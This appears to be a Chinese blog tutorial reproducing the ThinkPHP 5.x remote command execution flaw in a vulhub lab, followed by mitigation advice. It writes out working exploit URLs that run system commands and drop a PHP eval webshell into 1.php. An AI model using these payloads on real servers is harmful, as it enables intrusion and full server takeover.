Thinkphp框架漏洞(附修复方法)

      ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式

      ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。TP(2-6)(5-目前使用率较高的)

Thinkphp5x远程命令执行及getshell

漏洞复现

首先我们搭建一个漏洞环境,搭建命令如下

cd vulhub/thinkphp/5-rce
docker-compose up -d #启动环境

进入环境后,我们来到这样一个页面

直接在ip和端口后面拼接一段url如下

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

点击回车后即可看到我们输入的命令(whoami)的执行结果,说明这个页面存在远程命令执行漏洞

然后我们将url中的system替换为phpinfo,whoami替换为-1,则会显示出phpinfo();的执行结果,这说明这个页面也存在远程代码执行漏洞

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

最后,我们尝试获取shell,利用他的远程命令执行漏洞,输出一个一句话木马到1.php文件中,构造url如下,其中$_POST前加反斜杠是因为该网站会对其进行转义,\可以防止被转义

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST['cmd']); ?>" >> 1.php

运行成功后直接在IP后面加上/1.php访问,成功后用蚁剑连接

修复方法

1.对于用户提交的数据,尤其是命令执行相关的数据,一定要进行严格的验证和过滤。例如,您可以使用正则表达式或预定义的白名单来限制可以接受的命令。

2.部署一个 Web 应用防火墙可以帮助阻止恶意请求到达您的应用程序。WAF 可以检测并阻止潜在的攻击尝试。

3.进行代码审计,查找潜在的安全漏洞。确保遵循最佳实践,例如使用预编译语句防止 SQL 注入,使用 HTTPS 加密通信等。

4.确保您的服务器操作系统和其他相关软件(如 PHP、Apache/Nginx)都是最新版本,并安装了所有必要的安全补丁。

5.启用日志记录以监控异常行为,并定期审查日志文件以查找潜在的攻击迹象。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值